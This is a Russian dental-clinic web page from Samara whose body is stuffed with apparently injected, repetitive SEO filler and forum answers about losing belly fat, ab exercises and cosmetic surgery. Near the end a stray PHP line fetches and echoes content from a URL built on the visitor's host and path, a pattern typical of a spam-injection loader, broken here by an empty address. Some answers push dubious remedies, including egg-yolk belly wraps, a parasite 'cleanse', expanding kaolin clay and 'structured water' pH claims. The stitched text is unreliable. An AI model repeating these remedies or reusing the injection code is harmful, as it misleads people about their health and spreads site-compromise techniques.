Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Может я что-то не так делаю?

Это у вас гены такие

А кушаешь что и сколько?? ? Подумай об этом!!!

Есть разные группы мышц. Верхние боковые и нижние. последние 2 группы труднее всего накочать. Если есть повороты и наклоны вбок то с боковыми все более или менее в порядке, тогда займись нижними. Ноги поднимаешь медленно и пошагово фиксируя в каждом положении невысоко, главное тут именно медленно и фиксировать.

Сбалансировать питание и физическую нагрузку

Если просто качать пресс-жир с животика не уберёшь-просто укрепишь мышцы. Сначала надо похудеть. (если есть куда худеть, конечно)

Скорее всего недостаточно нагрузки, потому-что можно иметь идеальный животик и в 40 лет после 3х родов !!!

Пресс внутри накачанный, а сверху убрать лишнее намного сложнее. это у каждого так.

Скачай фитнс Темилли Уэбб "Я хочу такое тело".

Дамы, а вы из каких побуждений делали/сделали бы...

Не стала бы делать вообще, при своем нынешнем состоянии.
Сделала бы, возможно, если было бы ккое то внешнее уродство (не дай бог)..

Как убрать живот качая пресс? При накачке пресса главной целью большинства людей является желание убрать жир с области живота. Однако сами по себе тренировки пресса не могут приводить к локальной потере жира.

Не из каких бы не стала.. . мне все нравится

Блефоропластику, и может грудь подтянула чуток ) Естественно из побуждений улучшиться ))

Я операций до смерти боюсь поэтому решилась бы на операцию только если совсем перекарежило бы.

Только если бы нужно было убрать явное уродство. а поправить что и так нормально... от жира бесятся...

Все устраивает)

Как накачать пресс.Как убрать живот? Лишний вес это консервированная в виде жира энергия которую запасает наше тело в той ситуации когда получает каждый день калории пищи больше чем каждый день тратит.

Ой чур меня чур
никогда :)

Не делала бы никакую. С внешностью все ОК, грудь не висит, живот плоский.

Хочу как Майкл Джексон поменять цвет кожи и быть похожа на Наоми Кемпбелл .. лет в 50 решусь .

Ямочки на щеках сделала бы.. а может и не сделала бы.... ещё не решила.. )
а грудь отжиманиями сама подтяну и накачаю) остальное всем на зависть)))

Только ради спасения жизни любая операция, других мотивов нет.
Ботекс-мелочь, любая может сделать, если деньги позволяют.

Читайте так же по теме диеты, похудения, сушки и рельефа 10 Лучших кардиотренировок Похудение и жиросжигание 30 советов по жиросжиганию Как убрать живот и накачать пресс кубиками Как сушиться в бодибилдинге Как часто и сколько нужно качать пресс Пять основ...

Кому что во мне не нравится- свободен!!!

Только из-за физиологической необходимости

Я хочу нос другой :-) И еще можно мешки под глазами убрать :-) И буду я идеальна, верь мне: -)

Не я боюсь... я как-нибудь так ...что есть с тем и буду жить ...ну диетка там... масочки... туда-сюда... нормально

Сиськи подтянула бы, если отвиснут.

Почему растет живот? Задумайтесь фраза как убрать живот и накачать пресс в домашних условиях на самом деле состоит из 2-х вопросов. Поэтому отвечать на них нужно по порядку.

Думаю, убрать мешки под глазами.. . посмотрю на себя лет в 40-45...

Да ...мне единственной на всем проекте хочется новую морду лица)) одна я тут старая и с морщинами.. но.. я ооочень боюсь ножика ((((((

Ушки спаниеля?

Не знаю, не хочу зарекаться, но пока желания нет)))

Ну... если только через лет 20 кожу с подбородка на лоб натянуть) )

Как убрать живот и накачать пресс Для всех. Девочки, думаю, многим будет понятно, что никак Да-да, как это ни удивительно, но я думаю уже все из вас знают, что похудетьОчень хорошо помогают убирать жир, 2-3 раза в неделю по 40-60 минут. Всем удачки в достижении цели! Всех.

Только если ушки подправить) Они у меня на разном уровне назодятся да еще и торчат по разному

Трудно представить. у мну дети, я не могу так собой рисковать) при любых обстоятельствах

Как привести в порядок фигуру после родов?

А чо за фигура то такая???

Для того чтобы в домашних условия накачать пресс, необходимо знать, что мышцы животавыполнять упражнения, мы предлагаем Вам использовать следующее видео, с которым будет намного проще качать пресс, чтобы убрать живот.Почему нельзя отмечать 40 лет?

Бассейн каждый день.

Комне на массаж. рекорд-26см в бедрах

Танцы живота помогают,

Намажте живот взбитым желтком яица,заматаите целофаном и сверху туга завяжите каким нибуть плотком.Одна неделя и ты в форме 100% у меня тетя два месяца назад родила сеичас она уже в форме

ЛЕЖА НА ДИВАНЕ, А ЕСЛИ ЧЕС ТО ТОЛЬКО ФИТНЕС, ДРУГИХ ВАРИАНТОВ НЕМА
ВОТ КАЛЯСКУ В РУКИ И ЛЕГКИМ БЕЖКОМ УТРИЦОМ
ИЛИ ВМЕСТЕ С БЕЙБОМ НА ЙОГУ

Как быстро накачать пресс и убрать живот.Специалисты рекомендуют уделять по 40-60 минут в день на занятия спортом. Все упражнения должны выполняться качественно, в полную силу.

Очень легко после того как отлучаешь ребенка от груди, 10кг. сразу улетучиваются, а если при этом немного ограничеть себе в еде, сладостях и после 6 не есть, то будет вообще супер!

Меньше есть и больше физических нагрузок!

Купи диск с занятиями после родов синди кроуфорд в союзе я купила очень прикольно 3 вида занятий самое короткое-20 минут я думаю это время ты сможешь выделить

Я сначала ходила в сауну, раз в неделю - эффекта не было
запретила себе жрать после 6, эффект появился
теперь взяла абонимент на шейпинг, а через 2 месяца у меня курс массажа

Все советы хорошие... Но послушай мамку троих детей. Живот уберется рано или поздно ( ну конечно если нет перебора с едой). Но это енрунда. Невосполнимая потеря - грудь ( как принято считать). Я кормила всех детей практически до года. И главным считаю то, что когда был первый ребенок ,летом жили в общаге и не было горячей воды, а перед каждым кормлением надо было грудь обмывать. И вот это обмывание видимо было такой хорошей зарядкой для груди, что мне до сих пор мужики говорят, что грудь как у девочки( это при хорошем 2-м размере). Но учти, что обмывание должно быть кратковременным,смотри не застуди, т.е. это как обливание, как закалка...А пресс потом накачаешь...

Убрать живот качая пресс. Как убрать живот и быстро накачать пресс? Как правильно качать пресс мышц живота? Упражнения для пресса живота. Правильное питание.

Худеть нельзя, надо любить себя такой какая есть, очищение поможет держать организм в форме. Проблема не в весе, а глубже. Разберитесь в психологии.
Я рекомендую программу противопаразитарную Коло вада плюс, сопровождает сбалансированное клеточное питание и лист чёрного ореха от паразитов и каолин-глина, которая разбухает в кишечнике в 40 раз, принимает форму кишечника, упаковывает всё содержимое и выносит из организма. При этом чувствуешь себя комфортно, потому что она заполняет желудок и есть не хочется, только пьешь обильно чистой структурированной воды.
Программа рассчитана на 14 дней, вес минус от 3 до 8 кг, индивидуально.
Программу можно повторять через каждые 10 дней, укрепляется иммунитет, омолаживается организм.
Мы есть то, что едим и пьём.
В день пить 1,5л чистой структурированной воды, она восстанавливает к-щ баланс в организме, выносит из клеток яды и токсины. Кровь и слюна РН 7,45, если ниже, организм закисляется, развивается агрессия бактерий, вирусов, грибков и паразитов.
Я ежедневно пью воду с минеральной добавкой Алка майн, первый продукт, который имеет кальций в ионной форме, легко восполняет ежедневное потребление кальция в организме, он защелачивает организм, нейтрализует кислоту, 98% продуктов потребляемых нами кислые.
Востановить кислотно-щелочной баланс в организме самое главное.
Питаться полноценно 100% натуральной пищей, которая даёт энергию. Пища должна быть скоропортящаяся, приготовленная до 60*С с сохранением ферментов, обогащённая минералами и витаминами. Физкультура.
пиши

Чем полезны приседания?

Попа качается

Смотрите видео как убрать живот у мужчин легко Если оперативное вмешательство вас пугает, то вопрос решается работой с мышцами пресса.После сорока лет мужскому полу рискованно иметь одновременно пивной живот и лишний вес.

Попа подтягивается, становится упругой и красивой

Мышцы ног укрепляются

Укрепляют ноги

Подтягиванием ягодичных мышц.

Приседания, без всяких сомнений, являются самым эффективным упражнением из всех физических упражнений, доступных человеку. Приседания эффективны для поддержания общего тонуса, для улучшения здоровья, усиления функций внутренних органов, быстрого набора веса тела, совершенствования общих атлетических навыков. Звучит "слишком хорошо, чтобы быть правдой"? Но, тем не менее, это так.
В истории американского бодибилдинга было время, когда приседаниям уделялось самое незначительное внимание. Тогда бытовало мнение, что как для культуриста, так и для лифтера самыми "важными" мышцами являются руки и плечи. Однако, со временем, атлетическому сообществу пришлось пересмотреть эту точку зрения благодаря, в первую очередь, тренерам, которые "открыли" эффективность этого упражнения, а также культуристам и лифтерам, которые стали включать это упражнение в свои программы чаще. Лифтёры, в частности, обнаружили, что, развивая большую силу мышц ног, они получали преимущество в силе над теми своими собратьями по спорту, которые игнорировали приседания.

In Как убрать живот? Все о трех главных секретах плоского живота низком уровне подкожного жира, упражнениях с отягощениями, тренировках для правильной формы пресса. Как накачать пресс?

Приседай каждый день и в 40 лет выйдешь на пенсию, по инвалидности с артритом.

Смотря как приседать. Можно накачать разные группы мышц. Очень полезное упражнение.

Почему-то снижается уровень сахара, не говоря о об общей полезности.

Присядьте по 25 раз на каждой ноге поочереди тогда поймете.
в процесе можно слегка операться о стенку.

Ноги не будут дряблыми.

Как убрать живот качая пресс? При накачке пресса главной целью большинства людей является желание убрать жир с области живота. Однако сами по себе тренировки пресса не могут приводить к локальной потере жира.

"Ушки" на попе очень быстро можно убрать, попа подтянется, кишечник будет правильно работать...

Правильно! подтягивается попа) и исчезает целюлит!

Подскажите, как эффективно накачать нижнюю мышцу живота

Только секс, секс и ещё раз секс!!!

Как накачать пресс.Как убрать живот? Лишний вес это консервированная в виде жира энергия которую запасает наше тело в той ситуации когда получает каждый день калории пищи больше чем каждый день тратит.

Качай пресс через скамейку.

Ляг на спину и ноги поднимай либо можно уголки делать.

В любой тренажерке есть "римский стул" или "римская доска". Если регулярно качать - будет толк! Успехов!

Подмахивай!

Подъемы коленей в висе. На нижний пресс.

Техника выполнения: исходное положение - вис на перекладине, хват чуть шире плеч (для уменьшения нагрузки на запястья можно взять кистевые ремни), ноги согнуты в коленях, бедра параллельны полу. Усилием пресса (без раскачиваний!) подтягивайте колени к груди, в верхней точке задерживайте и напрягайте брюшные мышцы. При подъеме коленей в сторону дополнительно нагружаются косые мышцы живота. Чередуйте сеты на одну и другую сторону. Можно несколько облегчить упражнение и выполнять его на наклонной скамье, а не вертикально повиснув.

V-подъемы.

Техника выполнения: сядьте поперек скамьи, слегка отклоните корпус назад. Ноги согните и поднимите колени, чтобы ступни оказались в 40-45 см от пола. Чтобы не потерять равновесие, держитесь руками за передний край скамьи. Плавно подтяните колени к груди, а корпус одновременно наклоните вперед - к коленям. Без остановки вернитесь в исходное положение. Тоже без остановки начните новый повтор. Со стороны упражнение должно казаться одной серией ритмичных движений.

Если будут ещё вопросы пиши на мыло, с удовольствием отвечу!

Читайте так же по теме диеты, похудения, сушки и рельефа 10 Лучших кардиотренировок Похудение и жиросжигание 30 советов по жиросжиганию Как убрать живот и накачать пресс кубиками Как сушиться в бодибилдинге Как часто и сколько нужно качать пресс Пять основ...

Согласен с sasha sanchev эффективные упражнения!!)

Я скажу тебе самый честный ответ - если ты планируешь сделать это в короткий срок(допустим, к лету), то можешь даже не надеятся ни на что, все равно не накачаешь. Во - вторых, женщины в хорошей форме имеют около 15% жира в организме, тогда как мужчины 5-10%. Т.е. рельефа женщинам добиться гораздо сложнее. Ну а чтобы просто быть подтянутой - это примерно то, что советует Саша Санчев, но каждый день.Каждый день!!!

Смотри, подьём туловища при согнутах ногах (закинутых на скамейку) 90 градусов, подьём ног лёжа на полу, подьём туловища и ног одновременно, подьём туловища и ног сидя на скамейке (оч хорош упраж), бег для ниж пресса!!!

Девушки, живущие с мужьями старше себя на 15, 20 лет и более, вас тянет на молодые, накаченные тела молодых парней?

Я живу с мужчиной, младше себя на 6 лет. меня ни на кого не тянет!)))

Почему растет живот? Задумайтесь фраза как убрать живот и накачать пресс в домашних условиях на самом деле состоит из 2-х вопросов. Поэтому отвечать на них нужно по порядку.

Не, что вы! тянет на рыхлые, белые и рассыпчатые с пивными животами и женскими задницами тела современной молодёжи

Нет, не тянет.. . я люблю пополнее, на досках после смерти посплю)))))

Если их накачали в зад, то нетянет!

Нет конечно не тянет. молодое упругое тело не даст в семейной жизни самое главное - стабильность, спокойствие и надежность

Никогда не интересовалась мужчинами старше, так же как и качками)
Почему Вы не думаете, что в 35-40 у мужчины не может быть накаченное тело? Или по крайней мере стройное? У многих парней в 25 появляются проплешины и пузень. А многие и в 40 выглядят как с обложки журнала (правда больше европейские мужчины, они следят за собой) .

Как убрать живот и накачать пресс Для всех. Девочки, думаю, многим будет понятно, что никак Да-да, как это ни удивительно, но я думаю уже все из вас знают, что похудетьОчень хорошо помогают убирать жир, 2-3 раза в неделю по 40-60 минут. Всем удачки в достижении цели! Всех.

Девушки, живущие с мужьями старше себя на 15, 20 лет и старше - вы уже сделали в своей жизни одну глупость. И если вас тянет на молодые, накаченные тела, при живом муже, то это будет ваша вторая глупость--подумайте почему?

Если они страдают геронтофилией - то вряд ли.

Нет. мне уже по хрену. порой так устаешь, что себя не замечаешь. ещё на кобелей "любоваться".

Абсолютно нет, что может быть привлекательного в накаченных телах? ненавижу качков мне нравятся натуральные. в общем, ум куда ценнее тупой перекаченной тушки. таки да)

Моему 47 лет, весёлый, спортивный и сексуальный, не каждый молодой так выглядит и так может )))
так что не тянет )))

Для того чтобы в домашних условия накачать пресс, необходимо знать, что мышцы животавыполнять упражнения, мы предлагаем Вам использовать следующее видео, с которым будет намного проще качать пресс, чтобы убрать живот.Почему нельзя отмечать 40 лет?

Неа.
Мой муж старше меня на 14 лет. И ни с кем до него у меня не было такого секса. Молодые-просто диллетанты в этом вопросе. Как ни старайся, а мастерство приходит с опытом.

А Вы где молодых парней симпатичных видели ?
Мне мужчины после 38 нравятся, и у всех пресс кубиками был
Слабо молодой так выглядеть да еще прилично заработать ?

Я с ровесником живу, а на молодое тело все-равно тянет....

Помогите!!!

Сама ответила, качай прес верхний и нижний и не ешь углеводов.

Как быстро накачать пресс и убрать живот.Специалисты рекомендуют уделять по 40-60 минут в день на занятия спортом. Все упражнения должны выполняться качественно, в полную силу.

Запишись на танцы!! или на плавание!

Но в действительности так и есть: когда ты повзрослеешь все будет ок! у тебя же сейчас самый такой период - 13 лет - ты же растешь, вытягиваешься, потом это будет все очень гармонично и лаконично выглядеть!
ну а если тебе это не дает покоя, то да : много прыгай через скакалку, бегай, качай пресс, крути обруч.

Питайся правильно, никаких чипсов, газировки, полуфабрикатов и фаст фуда. Больше овощей и фруктов, молочных продуктов. обмен веществ нормализуется и вес постепенно уйдет

Только физическая нагрузка! и режим питания

Во-первых надо правильно питаться (не голодать, а именно кушать) - 5 раз в день, понемногу. Поменьше мучного (булочки, макароны) , картошки, а надо есть овощи, фрукты, каши (овсянка, рис. гречка) . И уже правильно питаясь, можно приступать к упражнениям. На живот: качаем пресс - стандартно, как в школе - лежа на полу - ноги согнуты, и главное РЕГУЛЯРНО (лучше понемногу каждый день, чем много, но раз в неделю) . А есть ли лишний вес смотрим по индексу массы тела (смотри в интернете как рассчитать) . И правильно, что задумалась об этом сейчас, а не в 40 лет. Лишний вес (если он действительно лишний) , кстати в подростковом возрасте может быть при гормональных проблемах, так что на всякий случай проверилась бы ты на половые гормоны у врача, если не лень. Вроде все.

Убрать живот качая пресс. Как убрать живот и быстро накачать пресс? Как правильно качать пресс мышц живота? Упражнения для пресса живота. Правильное питание.

Мучного не ПОМЕНЬШЕ, а вообще исключить!
никакого фаст фуда, газировки, больше пей воды и зелёного чай, каждый день фрукты, на танцы запишись или на фитнесс.
какой рост у тебя ещё подскажи?

Как накачать пресс за 1-1,5 месяца?

Ложишься и качаешь прес...

Смотрите видео как убрать живот у мужчин легко Если оперативное вмешательство вас пугает, то вопрос решается работой с мышцами пресса.После сорока лет мужскому полу рискованно иметь одновременно пивной живот и лишний вес.

Качать пресс 1-1,5 месяца )

Если будешь качать дома самостоятельно, то процесс будет крайне длительный.. . Советую купить членскую карту в каком-нибудь фитнес-клубе, хорошая мотивация потраченными деньгами, коллективный азарт и соревновательный дух зала сделают из тебя супермодель!
Ой, трудно этого добиться, особенно девушке! От конституции много зависит. Просто скручивания не помогут-особая диета нужна и бег!
Качайся 50 раз в день по 3 подхода, и за 1 - 1,5 месяца у тебя будет неплохой пресс!

Меня всегда удивляло, как много людей хотят в предверии лета обрести потрясающую спортивную форму. Так не бывает. Для этого нужно много и трудно работать над собой в течении всего года, каждый год.
Если я правильно понимаю, то вы хотите просто избавиться от лишнего веса в области живота? Упражнения на пресс мало помогут в этом. Мой ответ: сбалансированное питание, аэробные нагрузки, упражнения на сгибание туловища-подъёмы туловища в положении лёжа (с прямыми ногами, по углом, как больше нравится) , подъёмы ног к груди в висе на перекладине.

За 1,5 месяца даже и не рассчитывай

1. Скручивания в сторону.
Упражнение нацелено на косые мышцы.
Техника выполнения: в положении лежа согните ноги в коленях. Поверните таз в сторону на 90 градусов, до соприкосновения внешней части "нижней" ноги с полом. Руки положите под голову или скрестите на груди. Вдохните, задержите дыхание. Усилием косых мышц живота начинайте поднимать вверх голову и плечи - строго вперед и прямо! Поднимайтесь до угла примерно в 20 градусов. Затем сделайте выдох и возвращайтесь в стартовую позицию. После короткой паузы повторите движение. Сделав все повторения для одной косой мышцы пресса, поверните бедра в другую сторону и продолжайте упражнение. Следите, чтобы плечи отрывались от пола за счет усилия косых мышц, а не резкого инерционного движения головой. Даже не пытайтесь поднять голову и плечи как можно выше. Это не только бесполезно, но перегружает позвоночные диски и может привести к травме.
2. Скручивания.
Упражнение нацелено на верхний отдел пресса.
Техника выполнения: исходное положение - лежа на полу, ноги согнуты под прямым углом, бедра перпендикулярны полу, икры на скамье, руки за головой. Темп быстрый, но без рывков. "Скручиваются" вперед, отрывая лопатки от пола. В верхней точке - секундная задержка пикового сокращения. Повторений много - до нестерпимого "жжения", но техника предельно четкая.
3. Подъемы коленей в висе.
Упражнение нацелено на нижний пресс.
Техника выполнения: исходное положение - вис на перекладине, хват чуть шире плеч (для уменьшения нагрузки на запястья можно взять кистевые ремни) , ноги согнуты в коленях, бедра параллельны полу. Усилием пресса (без раскачиваний! ) подтягивайте колени к груди, в верхней точке задерживайте и напрягайте брюшные мышцы. При подъеме коленей в сторону дополнительно нагружаются косые мышцы живота. Чередуйте сеты на одну и другую сторону. Можно несколько облегчить упражнение и выполнять его на наклонной скамье, а не вертикально повиснув.
4. V-подъемы.
Упражнение нацелено на верхний пресс.
Техника выполнения: сядьте поперек скамьи, слегка отклоните корпус назад. Ноги согните и поднимите колени, чтобы ступни оказались в 40-45 см от пола. Чтобы не потерять равновесие, держитесь руками за передний край скамьи. Плавно подтяните колени к груди, а корпус одновременно наклоните вперед - к коленям. Без остановки вернитесь в исходное положение. Тоже без остановки начните новый повтор. Со стороны упражнение должно казаться одной серией ритмичных движений.
5. Повороты корпуса с отягощением.
Для косых и межреберных мышц.
Техника выполнения: положите "пустой" гриф штанги за шею на трапеции, удерживая за концы руками. Медленно поверните корпус вокруг вертикальной оси, не разрешая повернуться тазу. Вернитесь в исходное положение и поверните корпус в другую сторону. В крайней точке поворота слегка наклоните корпус, будто делаете боковые скручивания. Этот прием очень эффективен для прорисовки косых мышц. Если никак не получается "выключить" из работы таз, выполняйте упражнение сидя.

In Как убрать живот? Все о трех главных секретах плоского живота низком уровне подкожного жира, упражнениях с отягощениями, тренировках для правильной формы пресса. Как накачать пресс?

Смотря с какой Вас животик?

Как накачать пресс за 6 месяцев в 13 лет если я вешу 54 килограмма

Так же как и в 14 и в 40!качать пресс и другие мышцы

Как убрать живот качая пресс? При накачке пресса главной целью большинства людей является желание убрать жир с области живота. Однако сами по себе тренировки пресса не могут приводить к локальной потере жира.

Займись спортом. Там и накачаешь. А если на дому, то не пропускай тренировок. Комментатор выше тоже прав, про руки не забывай. Девушкам больше нравится накаченные руки, чем пресс. А пока лови некоторые упражнения:
1.Лежа на спине, стопы поставьте на пол, согните ноги в коленях, а затем разведите их. Поясницу прижмите к полу, живот втяните, руки положите за голову. Подтяните плечи к коленям, не поднимая при этом поясницу и стопы от пола. Поднятие плеч происходит на выдохе, исходное положение – на вдохе.
2.Лежа на спине, согните левую ногу в колене, ступню удерживайте на полу, живот втяните и поместите стопу правой ноги на колено левой. Колено при этом направлено в сторону, руки находятся за головой. Потянитесь за левым плечом к правому колену и вернитесь в исходное положение. Поменяйте ногу. Подъем происходит на выдохе, опускание на вдохе.
3.Лежа на спине, втяните живот и поместите ноги друг на друга. Руки находятся за головой, локти смотрят в стороны. Поднимите плечи и голову на выдохе. На вдохе возвратитесь в исходное положение.
4.Лежа на спине, согните ноги в коленях так, чтобы икры лежали на возвышении (стул, диван), руки за головой. Поднимите плечи и голову, и подтяните их к коленям, не напрягая мышцы шеи. Дышите при этом ровно.

Ке54к

Как убрать живот и накачать пресс в 40лет
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта